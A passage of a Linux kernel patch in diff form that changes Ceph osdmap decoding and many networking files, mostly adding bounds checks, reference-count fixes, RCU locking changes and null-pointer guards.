sizeof(struct ceph_entity_addr); + ceph_decode_need(p, end, len, e_inval); + *p += len; + + new_state = *p; + ceph_decode_32_safe(p, end, len, e_inval); + len *= sizeof(u32) + sizeof(u8); + ceph_decode_need(p, end, len, e_inval); + *p += len; + + /* new_weight */ + ceph_decode_32_safe(p, end, len, e_inval); + while (len--) { + s32 osd; + u32 w; + + ceph_decode_need(p, end, 2*sizeof(u32), e_inval); + osd = ceph_decode_32(p); + w = ceph_decode_32(p); + BUG_ON(osd >= map->max_osd); + pr_info("osd%d weight 0x%x %s\n", osd, w, + w == CEPH_OSD_IN ? "(in)" : + (w == CEPH_OSD_OUT ? "(out)" : "")); + map->osd_weight[osd] = w; + + /* + * If we are marking in, set the EXISTS, and clear the + * AUTOOUT and NEW bits. + */ + if (w) { + map->osd_state[osd] |= CEPH_OSD_EXISTS; + map->osd_state[osd] &= ~(CEPH_OSD_AUTOOUT | + CEPH_OSD_NEW); + } + } + new_weight_end = *p; + + /* new_state (up/down) */ + *p = new_state; + len = ceph_decode_32(p); + while (len--) { + s32 osd; + u8 xorstate; + + osd = ceph_decode_32(p); + xorstate = ceph_decode_8(p); + if (xorstate == 0) + xorstate = CEPH_OSD_UP; + BUG_ON(osd >= map->max_osd); + if ((map->osd_state[osd] & CEPH_OSD_UP) && + (xorstate & CEPH_OSD_UP)) + pr_info("osd%d down\n", osd); + if ((map->osd_state[osd] & CEPH_OSD_EXISTS) && + (xorstate & CEPH_OSD_EXISTS)) { + pr_info("osd%d does not exist\n", osd); + map->osd_weight[osd] = CEPH_OSD_IN; + memset(map->osd_addr + osd, 0, sizeof(*map->osd_addr)); + map->osd_state[osd] = 0; + } else { + map->osd_state[osd] ^= xorstate; + } + } + + /* new_up_client */ + *p = new_up_client; + len = ceph_decode_32(p); + while (len--) { + s32 osd; + struct ceph_entity_addr addr; + + osd = ceph_decode_32(p); + ceph_decode_copy(p, &addr, sizeof(addr)); + ceph_decode_addr(&addr); + BUG_ON(osd >= map->max_osd); + pr_info("osd%d up\n", osd); + map->osd_state[osd] |= CEPH_OSD_EXISTS | CEPH_OSD_UP; + map->osd_addr[osd] = addr; + } + + *p = new_weight_end; + return 0; + +e_inval: + return -EINVAL; +} + /* * decode and apply an incremental map update. */ @@ -912,50 +1016,10 @@ struct ceph_osdmap *osdmap_apply_incremental(void **p, void *end, __remove_pg_pool(&map->pg_pools, pi); } - /* new_up */ - err = -EINVAL; - ceph_decode_32_safe(p, end, len, bad); - while (len--) { - u32 osd; - struct ceph_entity_addr addr; - ceph_decode_32_safe(p, end, osd, bad); - ceph_decode_copy_safe(p, end, &addr, sizeof(addr), bad); - ceph_decode_addr(&addr); - pr_info("osd%d up\n", osd); - BUG_ON(osd >= map->max_osd); - map->osd_state[osd] |= CEPH_OSD_UP; - map->osd_addr[osd] = addr; - } - - /* new_state */ - ceph_decode_32_safe(p, end, len, bad); - while (len--) { - u32 osd; - u8 xorstate; - ceph_decode_32_safe(p, end, osd, bad); - xorstate = **(u8 **)p; - (*p)++; /* clean flag */ - if (xorstate == 0) - xorstate = CEPH_OSD_UP; - if (xorstate & CEPH_OSD_UP) - pr_info("osd%d down\n", osd); - if (osd < map->max_osd) - map->osd_state[osd] ^= xorstate; - } - - /* new_weight */ - ceph_decode_32_safe(p, end, len, bad); - while (len--) { - u32 osd, off; - ceph_decode_need(p, end, sizeof(u32)*2, bad); - osd = ceph_decode_32(p); - off = ceph_decode_32(p); - pr_info("osd%d weight 0x%x %s\n", osd, off, - off == CEPH_OSD_IN ? "(in)" : - (off == CEPH_OSD_OUT ? "(out)" : "")); - if (osd < map->max_osd) - map->osd_weight[osd] = off; - } + /* new_up_client, new_state, new_weight */ + err = decode_new_up_state_weight(p, end, map); + if (err) + goto bad; /* new_pg_temp */ ceph_decode_32_safe(p, end, len, bad); diff --git a/net/compat.c b/net/compat.c index f50161fb812ea..d12529050b291 100644 --- a/net/compat.c +++ b/net/compat.c @@ -71,6 +71,13 @@ int get_compat_msghdr(struct msghdr *kmsg, struct compat_msghdr __user *umsg) __get_user(kmsg->msg_controllen, &umsg->msg_controllen) || __get_user(kmsg->msg_flags, &umsg->msg_flags)) return -EFAULT; + + if (!tmp1) + kmsg->msg_namelen = 0; + + if (kmsg->msg_namelen < 0) + return -EINVAL; + if (kmsg->msg_namelen > sizeof(struct sockaddr_storage)) kmsg->msg_namelen = sizeof(struct sockaddr_storage); kmsg->msg_name = compat_ptr(tmp1); @@ -85,7 +92,7 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov, { int tot_len; - if (kern_msg->msg_namelen) { + if (kern_msg->msg_name && kern_msg->msg_namelen) { if (mode == VERIFY_READ) { int err = move_addr_to_kernel(kern_msg->msg_name, kern_msg->msg_namelen, @@ -93,10 +100,11 @@ int verify_compat_iovec(struct msghdr *kern_msg, struct iovec *kern_iov, if (err < 0) return err; } - if (kern_msg->msg_name) - kern_msg->msg_name = kern_address; - } else + kern_msg->msg_name = kern_address; + } else { kern_msg->msg_name = NULL; + kern_msg->msg_namelen = 0; + } tot_len = iov_from_user_compat_to_kern(kern_iov, (struct compat_iovec __user *)kern_msg->msg_iov, @@ -737,24 +745,18 @@ static unsigned char nas[21] = { asmlinkage long compat_sys_sendmsg(int fd, struct compat_msghdr __user *msg, unsigned int flags) { - if (flags & MSG_CMSG_COMPAT) - return -EINVAL; return __sys_sendmsg(fd, (struct msghdr __user *)msg, flags | MSG_CMSG_COMPAT); } asmlinkage long compat_sys_sendmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags) { - if (flags & MSG_CMSG_COMPAT) - return -EINVAL; return __sys_sendmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT); } asmlinkage long compat_sys_recvmsg(int fd, struct compat_msghdr __user *msg, unsigned int flags) { - if (flags & MSG_CMSG_COMPAT) - return -EINVAL; return __sys_recvmsg(fd, (struct msghdr __user *)msg, flags | MSG_CMSG_COMPAT); } @@ -777,9 +779,6 @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, int datagrams; struct timespec ktspec; - if (flags & MSG_CMSG_COMPAT) - return -EINVAL; - if (timeout == NULL) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, NULL); diff --git a/net/core/datagram.c b/net/core/datagram.c index 3c7b075f5a2bd..ed5ffb6ae7d27 100644 --- a/net/core/datagram.c +++ b/net/core/datagram.c @@ -128,6 +128,35 @@ static int wait_for_more_packets(struct sock *sk, int *err, long *timeo_p, goto out; } +static struct sk_buff *skb_set_peeked(struct sk_buff *skb) +{ + struct sk_buff *nskb; + + if (skb->peeked) + return skb; + + /* We have to unshare an skb before modifying it. */ + if (!skb_shared(skb)) + goto done; + + nskb = skb_clone(skb, GFP_ATOMIC); + if (!nskb) + return ERR_PTR(-ENOMEM); + + skb->prev->next = nskb; + skb->next->prev = nskb; + nskb->prev = skb->prev; + nskb->next = skb->next; + + consume_skb(skb); + skb = nskb; + +done: + skb->peeked = 1; + + return skb; +} + /** * __skb_recv_datagram - Receive a datagram skbuff * @sk: socket @@ -162,7 +191,9 @@ static int wait_for_more_packets(struct sock *sk, int *err, long *timeo_p, struct sk_buff *__skb_recv_datagram(struct sock *sk, unsigned int flags, int *peeked, int *off, int *err) { + struct sk_buff_head *queue = &sk->sk_receive_queue; struct sk_buff *skb, *last; + unsigned long cpu_flags; long timeo; /* * Caller is allowed not to check sk->sk_err before skb_recv_datagram() @@ -181,8 +212,6 @@ struct sk_buff *__skb_recv_datagram(struct sock *sk, unsigned int flags, * Look at current nfs client by the way... * However, this function was correct in any case. 8) */ - unsigned long cpu_flags; - struct sk_buff_head *queue = &sk->sk_receive_queue; int _off = *off; last = (struct sk_buff *)queue; @@ -196,7 +225,12 @@ struct sk_buff *__skb_recv_datagram(struct sock *sk, unsigned int flags, _off -= skb->len; continue; } - skb->peeked = 1; + + skb = skb_set_peeked(skb); + error = PTR_ERR(skb); + if (IS_ERR(skb)) + goto unlock_err; + atomic_inc(&skb->users); } else __skb_unlink(skb, queue); @@ -216,6 +250,8 @@ struct sk_buff *__skb_recv_datagram(struct sock *sk, unsigned int flags, return NULL; +unlock_err: + spin_unlock_irqrestore(&queue->lock, cpu_flags); no_packet: *err = error; return NULL; @@ -665,7 +701,8 @@ __sum16 __skb_checksum_complete_head(struct sk_buff *skb, int len) if (likely(!sum)) { if (unlikely(skb->ip_summed == CHECKSUM_COMPLETE)) netdev_rx_csum_fault(skb->dev); - skb->ip_summed = CHECKSUM_UNNECESSARY; + if (!skb_shared(skb)) + skb->ip_summed = CHECKSUM_UNNECESSARY; } return sum; } diff --git a/net/core/dev.c b/net/core/dev.c index 6ef3f0dcdf03d..dc98f510ea738 100644 --- a/net/core/dev.c +++ b/net/core/dev.c @@ -927,7 +927,7 @@ bool dev_valid_name(const char *name) return false; while (*name) { - if (*name == '/' || isspace(*name)) + if (*name == '/' || *name == ':' || isspace(*name)) return false; name++; } @@ -3443,8 +3443,6 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) pt_prev = NULL; - rcu_read_lock(); - another_round: skb->skb_iif = skb->dev->ifindex; @@ -3454,7 +3452,7 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) skb->protocol == cpu_to_be16(ETH_P_8021AD)) { skb = vlan_untag(skb); if (unlikely(!skb)) - goto unlock; + goto out; } #ifdef CONFIG_NET_CLS_ACT @@ -3479,7 +3477,7 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) #ifdef CONFIG_NET_CLS_ACT skb = handle_ing(skb, &pt_prev, &ret, orig_dev); if (!skb) - goto unlock; + goto out; ncls: #endif @@ -3494,7 +3492,7 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) if (vlan_do_receive(&skb)) goto another_round; else if (unlikely(!skb)) - goto unlock; + goto out; } rx_handler = rcu_dereference(skb->dev->rx_handler); @@ -3506,7 +3504,7 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) switch (rx_handler(&skb)) { case RX_HANDLER_CONSUMED: ret = NET_RX_SUCCESS; - goto unlock; + goto out; case RX_HANDLER_ANOTHER: goto another_round; case RX_HANDLER_EXACT: @@ -3558,8 +3556,6 @@ static int __netif_receive_skb_core(struct sk_buff *skb, bool pfmemalloc) ret = NET_RX_DROP; } -unlock: - rcu_read_unlock(); out: return ret; } @@ -3606,29 +3602,30 @@ static int __netif_receive_skb(struct sk_buff *skb) */ int netif_receive_skb(struct sk_buff *skb) { + int ret; + net_timestamp_check(netdev_tstamp_prequeue, skb); if (skb_defer_rx_timestamp(skb)) return NET_RX_SUCCESS; + rcu_read_lock(); + #ifdef CONFIG_RPS if (static_key_false(&rps_needed)) { struct rps_dev_flow voidflow, *rflow = &voidflow; - int cpu, ret; - - rcu_read_lock(); - - cpu = get_rps_cpu(skb->dev, skb, &rflow); + int cpu = get_rps_cpu(skb->dev, skb, &rflow); if (cpu >= 0) { ret = enqueue_to_backlog(skb, cpu, &rflow->last_qtail); rcu_read_unlock(); return ret; } - rcu_read_unlock(); } #endif - return __netif_receive_skb(skb); + ret = __netif_receive_skb(skb); + rcu_read_unlock(); + return ret; } EXPORT_SYMBOL(netif_receive_skb); @@ -4038,8 +4035,10 @@ static int process_backlog(struct napi_struct *napi, int quota) unsigned int qlen; while ((skb = __skb_dequeue(&sd->process_queue))) { + rcu_read_lock(); local_irq_enable(); __netif_receive_skb(skb); + rcu_read_unlock(); local_irq_disable(); input_queue_head_incr(sd); if (++work >= quota) { diff --git a/net/core/dst.c b/net/core/dst.c index df9cc810ec8e3..1bf6842b89b82 100644 --- a/net/core/dst.c +++ b/net/core/dst.c @@ -267,18 +267,25 @@ struct dst_entry *dst_destroy(struct dst_entry * dst) } EXPORT_SYMBOL(dst_destroy); +static void dst_destroy_rcu(struct rcu_head *head) +{ + struct dst_entry *dst = container_of(head, struct dst_entry, rcu_head); + + dst = dst_destroy(dst); + if (dst) + __dst_free(dst); +} + void dst_release(struct dst_entry *dst) { if (dst) { int newrefcnt; + unsigned short nocache = dst->flags & DST_NOCACHE; newrefcnt = atomic_dec_return(&dst->__refcnt); WARN_ON(newrefcnt < 0); - if (unlikely(dst->flags & DST_NOCACHE) && !newrefcnt) { - dst = dst_destroy(dst); - if (dst) - __dst_free(dst); - } + if (!newrefcnt && unlikely(nocache)) + call_rcu(&dst->rcu_head, dst_destroy_rcu); } } EXPORT_SYMBOL(dst_release); diff --git a/net/core/ethtool.c b/net/core/ethtool.c index 900a05fd90d2e..ae2f65629e52f 100644 --- a/net/core/ethtool.c +++ b/net/core/ethtool.c @@ -1068,7 +1068,7 @@ static int ethtool_get_strings(struct net_device *dev, void __user *useraddr) gstrings.len = ret; - data = kmalloc(gstrings.len * ETH_GSTRING_LEN, GFP_USER); + data = kcalloc(gstrings.len, ETH_GSTRING_LEN, GFP_USER); if (!data) return -ENOMEM; diff --git a/net/core/fib_rules.c b/net/core/fib_rules.c index 008486ee5c5e8..fb9adc5d19325 100644 --- a/net/core/fib_rules.c +++ b/net/core/fib_rules.c @@ -653,15 +653,17 @@ static int dump_rules(struct sk_buff *skb, struct netlink_callback *cb, { int idx = 0; struct fib_rule *rule; + int err = 0; rcu_read_lock(); list_for_each_entry_rcu(rule, &ops->rules_list, list) { if (idx < cb->args[1]) goto skip; - if (fib_nl_fill_rule(skb, rule, NETLINK_CB(cb->skb).portid, - cb->nlh->nlmsg_seq, RTM_NEWRULE, - NLM_F_MULTI, ops) < 0) + err = fib_nl_fill_rule(skb, rule, NETLINK_CB(cb->skb).portid, + cb->nlh->nlmsg_seq, RTM_NEWRULE, + NLM_F_MULTI, ops); + if (err < 0) break; skip: idx++; @@ -670,7 +672,7 @@ static int dump_rules(struct sk_buff *skb, struct netlink_callback *cb, cb->args[1] = idx; rules_ops_put(ops); - return skb->len; + return err; } static int fib_nl_dumprule(struct sk_buff *skb, struct netlink_callback *cb) @@ -686,7 +688,9 @@ static int fib_nl_dumprule(struct sk_buff *skb, struct netlink_callback *cb) if (ops == NULL) return -EAFNOSUPPORT; - return dump_rules(skb, cb, ops); + dump_rules(skb, cb, ops); + + return skb->len; } rcu_read_lock(); diff --git a/net/core/gen_stats.c b/net/core/gen_stats.c index ddedf211e5881..b96437b6e82b5 100644 --- a/net/core/gen_stats.c +++ b/net/core/gen_stats.c @@ -32,6 +32,9 @@ gnet_stats_copy(struct gnet_dump *d, int type, void *buf, int size) return 0; nla_put_failure: + kfree(d->xstats); + d->xstats = NULL; + d->xstats_len = 0; spin_unlock_bh(d->lock); return -1; } @@ -205,7 +208,9 @@ int gnet_stats_copy_app(struct gnet_dump *d, void *st, int len) { if (d->compat_xstats) { - d->xstats = st; + d->xstats = kmemdup(st, len, GFP_ATOMIC); + if (!d->xstats) + goto err_out; d->xstats_len = len; } @@ -213,6 +218,11 @@ gnet_stats_copy_app(struct gnet_dump *d, void *st, int len) return gnet_stats_copy(d, TCA_STATS_APP, st, len); return 0; + +err_out: + d->xstats_len = 0; + spin_unlock_bh(d->lock); + return -1; } EXPORT_SYMBOL(gnet_stats_copy_app); @@ -245,6 +255,9 @@ gnet_stats_finish_copy(struct gnet_dump *d) return -1; } + kfree(d->xstats); + d->xstats = NULL; + d->xstats_len = 0; spin_unlock_bh(d->lock); return 0; } diff --git a/net/core/iovec.c b/net/core/iovec.c index 9a31515fb8e33..1117a26a85480 100644 --- a/net/core/iovec.c +++ b/net/core/iovec.c @@ -39,7 +39,7 @@ int verify_iovec(struct msghdr *m, struct iovec *iov, struct sockaddr_storage *a { int size, ct, err; - if (m->msg_namelen) { + if (m->msg_name && m->msg_namelen) { if (mode == VERIFY_READ) { void __user *namep; namep = (void __user __force *) m->msg_name; @@ -48,10 +48,10 @@ int verify_iovec(struct msghdr *m, struct iovec *iov, struct sockaddr_storage *a if (err < 0) return err; } - if (m->msg_name) - m->msg_name = address; + m->msg_name = address; } else { m->msg_name = NULL; + m->msg_namelen = 0; } size = m->msg_iovlen * sizeof(struct iovec); @@ -107,6 +107,10 @@ EXPORT_SYMBOL(memcpy_toiovecend); int memcpy_fromiovecend(unsigned char *kdata, const struct iovec *iov, int offset, int len) { + /* No data? Done! */ + if (len == 0) + return 0; + /* Skip over the finished iovecs */ while (offset >= iov->iov_len) { offset -= iov->iov_len; diff --git a/net/core/pktgen.c b/net/core/pktgen.c index ebbea53719678..21a23d97e99c1 100644 --- a/net/core/pktgen.c +++ b/net/core/pktgen.c @@ -3377,8 +3377,10 @@ static int pktgen_thread_worker(void *arg) pktgen_rem_thread(t); /* Wait for kthread_stop */ - while (!kthread_should_stop()) { + for (;;) { set_current_state(TASK_INTERRUPTIBLE); + if (kthread_should_stop()) + break; schedule(); } __set_current_state(TASK_RUNNING); diff --git a/net/core/rtnetlink.c b/net/core/rtnetlink.c index 8d2327d2cd885..c468470112aef 100644 --- a/net/core/rtnetlink.c +++ b/net/core/rtnetlink.c @@ -1146,14 +1146,10 @@ static const struct nla_policy ifla_vfinfo_policy[IFLA_VF_INFO_MAX+1] = { }; static const struct nla_policy ifla_vf_policy[IFLA_VF_MAX+1] = { - [IFLA_VF_MAC] = { .type = NLA_BINARY, - .len = sizeof(struct ifla_vf_mac) }, - [IFLA_VF_VLAN] = { .type = NLA_BINARY, - .len = sizeof(struct ifla_vf_vlan) }, - [IFLA_VF_TX_RATE] = { .type = NLA_BINARY, - .len = sizeof(struct ifla_vf_tx_rate) }, - [IFLA_VF_SPOOFCHK] = { .type = NLA_BINARY, - .len = sizeof(struct ifla_vf_spoofchk) }, + [IFLA_VF_MAC] = { .len = sizeof(struct ifla_vf_mac) }, + [IFLA_VF_VLAN] = { .len = sizeof(struct ifla_vf_vlan) }, + [IFLA_VF_TX_RATE] = { .len = sizeof(struct ifla_vf_tx_rate) }, + [IFLA_VF_SPOOFCHK] = { .len = sizeof(struct ifla_vf_spoofchk) }, }; static const struct nla_policy ifla_port_policy[IFLA_PORT_MAX+1] = { @@ -1326,6 +1322,7 @@ static int do_setlink(const struct sk_buff *skb, goto errout; } if (!netlink_ns_capable(skb, net->user_ns, CAP_NET_ADMIN)) { + put_net(net); err = -EPERM; goto errout; } @@ -1862,8 +1859,16 @@ static int rtnl_newlink(struct sk_buff *skb, struct nlmsghdr *nlh) goto out; err = rtnl_configure_link(dev, ifm); - if (err < 0) - unregister_netdevice(dev); + if (err < 0) { + if (ops->newlink) { + LIST_HEAD(list_kill); + + ops->dellink(dev, &list_kill); + unregister_netdevice_many(&list_kill); + } else { + unregister_netdevice(dev); + } + } out: put_net(dest_net); return err; @@ -2484,12 +2489,16 @@ static int rtnl_bridge_notify(struct net_device *dev, u16 flags) goto errout; } + if (!skb->len) + goto errout; + rtnl_notify(skb, net, 0, RTNLGRP_LINK, NULL, GFP_ATOMIC); return 0; errout: WARN_ON(err == -EMSGSIZE); kfree_skb(skb); - rtnl_set_sk_err(net, RTNLGRP_LINK, err); + if (err) + rtnl_set_sk_err(net, RTNLGRP_LINK, err); return err; } diff --git a/net/core/scm.c b/net/core/scm.c index b4da80b1cc07d..7a6cf8351cde8 100644 --- a/net/core/scm.c +++ b/net/core/scm.c @@ -87,6 +87,7 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) *fplp = fpl; fpl->count = 0; fpl->max = SCM_MAX_FD; + fpl->user = NULL; } fpp = &fpl->fp[fpl->count]; @@ -107,6 +108,10 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) *fpp++ = file; fpl->count++; } + + if (!fpl->user) + fpl->user = get_uid(current_user()); + return num; } @@ -119,6 +124,7 @@ void __scm_destroy(struct scm_cookie *scm) scm->fp = NULL; for (i=fpl->count-1; i>=0; i--) fput(fpl->fp[i]); + free_uid(fpl->user); kfree(fpl); } } @@ -306,6 +312,8 @@ void scm_detach_fds(struct msghdr *msg, struct scm_cookie *scm) err = put_user(cmlen, &cm->cmsg_len); if (!err) { cmlen = CMSG_SPACE(i*sizeof(int)); + if (msg->msg_controllen < cmlen) + cmlen = msg->msg_controllen; msg->msg_control += cmlen; msg->msg_controllen -= cmlen; } @@ -335,6 +343,7 @@ struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl) for (i = 0; i < fpl->count; i++) get_file(fpl->fp[i]); new_fpl->max = new_fpl->count; + new_fpl->user = get_uid(fpl->user); } return new_fpl; } diff --git a/net/core/secure_seq.c b/net/core/secure_seq.c index 8d9d05edd2eb1..d0afc322b961f 100644 --- a/net/core/secure_seq.c +++ b/net/core/secure_seq.c @@ -95,31 +95,6 @@ EXPORT_SYMBOL(secure_ipv6_port_ephemeral); #endif #ifdef CONFIG_INET -__u32 secure_ip_id(__be32 daddr) -{ - u32 hash[MD5_DIGEST_WORDS]; - - net_secret_init(); - hash[0] = (__force __u32) daddr; - hash[1] = net_secret[13]; - hash[2] = net_secret[14]; - hash[3] = net_secret[15]; - - md5_transform(hash, net_secret); - - return hash[0]; -} - -__u32 secure_ipv6_id(const __be32 daddr[4]) -{ - __u32 hash[4]; - - net_secret_init(); - memcpy(hash, daddr, 16); - md5_transform(hash, net_secret); - - return hash[0]; -} __u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr, __be16 sport, __be16 dport) diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 72369b114e389..2b24c224380d7 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -2711,11 +2711,12 @@ EXPORT_SYMBOL(skb_append_datato_frags); */ unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len) { + unsigned char *data = skb->data; + BUG_ON(len > skb->len); - skb->len -= len; - BUG_ON(skb->len < skb->data_len); - skb_postpull_rcsum(skb, skb->data, len); - return skb->data += len; + __skb_pull(skb, len); + skb_postpull_rcsum(skb, data, len); + return skb->data; } EXPORT_SYMBOL_GPL(skb_pull_rcsum); @@ -2810,7 +2811,6 @@ struct sk_buff *skb_segment(struct sk_buff *skb, netdev_features_t features) tail = nskb; __copy_skb_header(nskb, skb); - nskb->mac_len = skb->mac_len; /* nskb and skb might have different headroom */ if (nskb->ip_summed == CHECKSUM_PARTIAL) @@ -2820,6 +2820,7 @@ struct sk_buff *skb_segment(struct sk_buff *skb, netdev_features_t features) skb_set_network_header(nskb, skb->mac_len); nskb->transport_header = (nskb->network_header + skb_network_header_len(skb)); + skb_reset_mac_len(nskb); skb_copy_from_linear_data_offset(skb, -tnl_hlen, nskb->data - tnl_hlen, diff --git a/net/core/sock.c b/net/core/sock.c index af65d17517b8e..5a954fccc7d36 100644 --- a/net/core/sock.c +++ b/net/core/sock.c @@ -419,8 +419,6 @@ static void sock_warn_obsolete_bsdism(const char *name) } } -#define SK_FLAGS_TIMESTAMP ((1UL << SOCK_TIMESTAMP) | (1UL << SOCK_TIMESTAMPING_RX_SOFTWARE)) - static void sock_disable_timestamp(struct sock *sk, unsigned long flags) { if (sk->sk_flags & flags) { diff --git a/net/core/sysctl_net_core.c b/net/core/sysctl_net_core.c index 2ff093b7c45e7..e6c0841fbefc5 100644 --- a/net/core/sysctl_net_core.c +++ b/net/core/sysctl_net_core.c @@ -21,8 +21,9 @@ #include static int zero = 0; -static int one = 1; static int ushort_max = USHRT_MAX; +static int min_sndbuf = SOCK_MIN_SNDBUF; +static int min_rcvbuf = SOCK_MIN_RCVBUF; #ifdef CONFIG_RPS static int rps_sock_flow_sysctl(ctl_table *table, int write, @@ -97,7 +98,7 @@ static struct ctl_table net_core_table[] = { .maxlen = sizeof(int), .mode = 0644, .proc_handler = proc_dointvec_minmax, - .extra1 = &one, + .extra1 = &min_sndbuf, }, { .procname = "rmem_max", @@ -105,7 +106,7 @@ static struct ctl_table net_core_table[] = { .maxlen = sizeof(int), .mode = 0644, .proc_handler = proc_dointvec_minmax, - .extra1 = &one, + .extra1 = &min_rcvbuf, }, { .procname = "wmem_default", @@ -113,7 +114,7 @@ static struct ctl_table net_core_table[] = { .maxlen = sizeof(int), .mode = 0644, .proc_handler = proc_dointvec_minmax, - .extra1 = &one, + .extra1 = &min_sndbuf, }, { .procname = "rmem_default", @@ -121,7 +122,7 @@ static struct ctl_table net_core_table[] = { .maxlen = sizeof(int), .mode = 0644, .proc_handler = proc_dointvec_minmax, - .extra1 = &one, + .extra1 = &min_rcvbuf, }, { .procname = "dev_weight", diff --git a/net/decnet/dn_route.c b/net/decnet/dn_route.c index fe32388ea24f7..b9610051f3b22 100644 --- a/net/decnet/dn_route.c +++ b/net/decnet/dn_route.c @@ -1030,10 +1030,13 @@ static int dn_route_output_slow(struct dst_entry **pprt, const struct flowidn *o if (!fld.daddr) { fld.daddr = fld.saddr; - err = -EADDRNOTAVAIL; if (dev_out) dev_put(dev_out); + err = -EINVAL; dev_out = init_net.loopback_dev; + if (!dev_out->dn_ptr) + goto out; + err = -EADDRNOTAVAIL; dev_hold(dev_out); if (!fld.daddr) { fld.daddr = @@ -1106,6 +1109,8 @@ static int dn_route_output_slow(struct dst_entry **pprt, const struct flowidn *o if (dev_out == NULL) goto out; dn_db = rcu_dereference_raw(dev_out->dn_ptr); + if (!dn_db) + goto e_inval; /* Possible improvement - check all devices for local addr */ if (dn_dev_islocal(dev_out, fld.daddr)) { dev_put(dev_out); @@ -1147,6 +1152,8 @@ static int dn_route_output_slow(struct dst_entry **pprt, const struct flowidn *o dev_put(dev_out); dev_out = init_net.loopback_dev; dev_hold(dev_out); + if (!dev_out->dn_ptr) + goto e_inval; fld.flowidn_oif = dev_out->ifindex; if (res.fi) dn_fib_info_put(res.fi); diff --git a/net/dns_resolver/dns_query.c b/net/dns_resolver/dns_query.c index c32be292c7e38..2022b46ab38fd 100644 --- a/net/dns_resolver/dns_query.c +++ b/net/dns_resolver/dns_query.c @@ -150,7 +150,9 @@ int dns_query(const char *type, const char *name, size_t namelen, if (!*_result) goto put; - memcpy(*_result, upayload->data, len + 1); + memcpy(*_result, upayload->data, len); + (*_result)[len] = '\0'; + if (_expiry) *_expiry = rkey->expiry; diff --git a/net/ipv4/datagram.c b/net/ipv4/datagram.c index 5f3dc1df04bf2..291b0821d1ace 100644 --- a/net/ipv4/datagram.c +++ b/net/ipv4/datagram.c @@ -20,7 +20,7 @@ #include #include -int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +int __ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) { struct inet_sock *inet = inet_sk(sk); struct sockaddr_in *usin = (struct sockaddr_in *) uaddr; @@ -39,8 +39,6 @@ int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) sk_dst_reset(sk); - lock_sock(sk); - oif = sk->sk_bound_dev_if; saddr = inet->inet_saddr; if (ipv4_is_multicast(usin->sin_addr.s_addr)) { @@ -81,9 +79,19 @@ int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) sk_dst_set(sk, &rt->dst); err = 0; out: - release_sock(sk); return err; } +EXPORT_SYMBOL(__ip4_datagram_connect); + +int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) +{ + int res; + + lock_sock(sk); + res = __ip4_datagram_connect(sk, uaddr, addr_len); + release_sock(sk); + return res; +} EXPORT_SYMBOL(ip4_datagram_connect); /* Because UDP xmit path can manipulate sk_dst_cache without holding diff --git a/net/ipv4/fib_rules.c b/net/ipv4/fib_rules.c index 26aa65d1fce49..c5c8b248d8f6d 100644 --- a/net/ipv4/fib_rules.c +++ b/net/ipv4/fib_rules.c @@ -62,6 +62,10 @@ int __fib_lookup(struct net *net, struct flowi4 *flp, struct fib_result *res) else res->tclassid = 0; #endif + + if (err == -ESRCH) + err = -ENETUNREACH; + return err; } EXPORT_SYMBOL_GPL(__fib_lookup); diff --git a/net/ipv4/fib_semantics.c b/net/ipv4/fib_semantics.c index 50d9c7ceebc09..d00d8f9650e98 100644 --- a/net/ipv4/fib_semantics.c +++ b/net/ipv4/fib_semantics.c @@ -533,7 +533,7 @@ int fib_nh_match(struct fib_config *cfg, struct fib_info *fi) return 1; attrlen = rtnh_attrlen(rtnh); - if (attrlen < 0) { + if (attrlen > 0) { struct nlattr *nla, *attrs = rtnh_attrs(rtnh); nla = nla_find(attrs, attrlen, RTA_GATEWAY); diff --git a/net/ipv4/icmp.c b/net/ipv4/icmp.c index cc38f44306ed2..5af8781b65e13 100644 --- a/net/ipv4/icmp.c +++ b/net/ipv4/icmp.c @@ -704,8 +704,6 @@ static void icmp_unreach(struct sk_buff *skb) &iph->daddr); } else { info = ntohs(icmph->un.frag.mtu); - if (!info) - goto out; } break; case ICMP_SR_FAILED: diff --git a/net/ipv4/igmp.c b/net/ipv4/igmp.c index 089b4af4fecc3..155adf8729c23 100644 --- a/net/ipv4/igmp.c +++ b/net/ipv4/igmp.c @@ -343,7 +343,7 @@ static struct sk_buff *igmpv3_newpack(struct net_device *dev, int size) pip->saddr = fl4.saddr; pip->protocol = IPPROTO_IGMP; pip->tot_len = 0; /* filled in later */ - ip_select_ident(skb, &rt->dst, NULL); + ip_select_ident(skb, NULL); ((u8 *)&pip[1])[0] = IPOPT_RA; ((u8 *)&pip[1])[1] = 4; ((u8 *)&pip[1])[2] = 0; @@ -687,7 +687,7 @@ static int igmp_send_report(struct in_device *in_dev, struct ip_mc_list *pmc, iph->daddr = dst; iph->saddr = fl4.saddr; iph->protocol = IPPROTO_IGMP; - ip_select_ident(skb, &rt->dst, NULL); + ip_select_ident(skb, NULL); ((u8 *)&iph[1])[0] = IPOPT_RA; ((u8 *)&iph[1])[1] = 4; ((u8 *)&iph[1])[2] = 0; @@ -1874,6 +1874,10 @@ int 